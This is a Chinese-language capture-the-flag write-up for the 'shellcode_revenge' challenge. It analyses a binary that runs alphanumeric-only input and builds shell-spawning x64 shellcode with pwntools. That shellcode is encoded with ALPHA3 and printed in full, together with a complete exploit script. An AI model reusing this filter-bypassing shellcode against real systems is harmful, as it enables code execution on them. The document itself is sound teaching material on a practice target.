mrctf2020_shellcode_revenge

0x00 前言

刷到一道shellcode受限制的题目,自己尝试写shellcode,试了半天不行,最后查阅WP了解到有相关工具…..

特地记录一下

0x01 程序分析

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments

由于0x124D处的call指令导致F5反编译失败。

只能看汇编了。

根据汇编大概写出伪代码

1
2
3
4
5
6
7
8
输出 "Show me your magic!"
读取 0x400个字节到buf,buf位于栈, rbp - 0x410
遍历buf[i]
if(buf[i]不属于0x30~0x5a 或者 0x61~0x7a){
输出 "I Can't Read This!"
}else{
执行buf();
}

而且NX保护没开,所以向buf写入符合要求的shellcode即可。

0x02 Do it!

查阅一番资料以后

找到一篇非常不错的文章,虽然没能让我解出这道题目,但是从中学到不少姿势。

Shellcode的艺术

去尝试了使用shellcode_encoder生成符合要求的shellcode,结果生成的shellcode里面依然含有不在题目要求范围内的字符。

1
2
3
4
5
6
7
8
9
Python 2.7.12 (default, Jul 21 2020, 15:19:50) 
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> context(arch = 'amd64', os = 'linux', log_level = 'debug')
>>> f = open('shellcode_x64','wb')
>>> sc = asm(shellcraft.sh())
>>> f.write(sc)
>>> f.close()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ python main.py shellcode_x64  rax
Encoding stage2
488b0432 => 4863343a31343a53582d692b6c722d21265870353e253f2f505e31343a57582d5f5e2f3f2d3d6170442d6040607c505f
480faf44 => 4863343a31343a53582d394f4f642d515f2020353e5e3f3f505e31343a57582d5f5e2f3f2d3d6170442d6040607c505f
32084889 => 4863343a31343a53582d576068292d482020203553773f3f505e31343a57582d5f5e2f3f2d3d6170442d6040607c505f
043a83c7 => 4863343a31343a53582d515a23232d7c40204035375f3f5b505e31343a57582d5f5e2f3f2d3d6170442d6040607c505f
0883c610 => 4863343a31343a53582d692b46722d5c20205e3533375f3f505e31343a57582d5f5e2f3f2d3d6170442d6040607c505f
85c075e8 => 4863343a31343a53582d202075492d21406020353a5f5f7e505e31343a57582d5f5e2f3f2d3d6170442d6040607c505f
Multiply-encoding stage3
6a6848b82f62696e => 213339282e64403b 2a657a302621346e
2f2f2f73504889e7 => 5f376c7274346e40 312a7d7e773c3f7d
6872690101813424 => 58392e3534337d6e 6724682e6a376734
0101010131f6566a => 775f695a3f256f51 47717c7b22375725
085e4801e6564889 => 3738773f73217c4e 387e3f4442232a4d
e631d26a3b580f05 => 413c7a24335b502e 6630522a7a37217c
Assembling jump at +408

Encoding preamble for rdx <- rax
PZ

Original length: 48
Encoded length: 508
Preamble length: 2
Total length: 510

PZTAYAXVI31VXPP[_Hc4:14:SX-i+lr-!&Xp5>%?/P^14:WX-_^/?-=apD-`@`|P_Hc4:14:SX-9OOd-Q_ 5>^??P^14:WX-_^/?-=apD-`@`|P_Hc4:14:SX-W`h)-H 5Sw??P^14:WX-_^/?-=apD-`@`|P_Hc4:14:SX-QZ##-|@ @57_?[P^14:WX-_^/?-=apD-`@`|P_Hc4:14:SX-i+Fr-\ ^537_?P^14:WX-_^/?-=apD-`@`|P_Hc4:14:SX- uI-!@` 5:__~P^14:WX-_^/?-=apD-`@`|P_SX-"A`B-#`@~5#__?P_Hc4:14:SX- A $-3 5R|/+P^14:WX-_^/?-=apD-`@`|P_SX-@Ebi- \`Y5<_==P^SX-_A1"-q@_~5(~o_P_AAAA!39(.d@;*ez0&!4n_7lrt4n@1*}~w<?}X9.543}ng$h.j7g4w_iZ?%oQGq|{"7W%78w?s!|N8~?DB#*MA<z$3[P.f0R*z7!|

最后了解到使用alpha3可以生成指定要求的shellcode,rax表示指向shellcode的寄存器(这道题是call rax,也就意味着rax是指向shellcode的)

1
2
3
4
$ python ALPHA3.py x64 ascii mixedcase rax --input='shellcode_x64' > x64_out

$ cat x64_out
Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t

…然后send(shellcode)就行了…

0x03 完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

context(arch = 'amd64', os = 'linux', log_level = 'debug')

c = process('./pwn')
#c = remote('node3.buuoj.cn',25514)

#gdb.attach(c,'b * $rebase(0x124D)')

f = open('x64_out','rb')

sc = f.read()
f.close()
c.recvuntil('magic!\n')
c.send(sc)

c.interactive()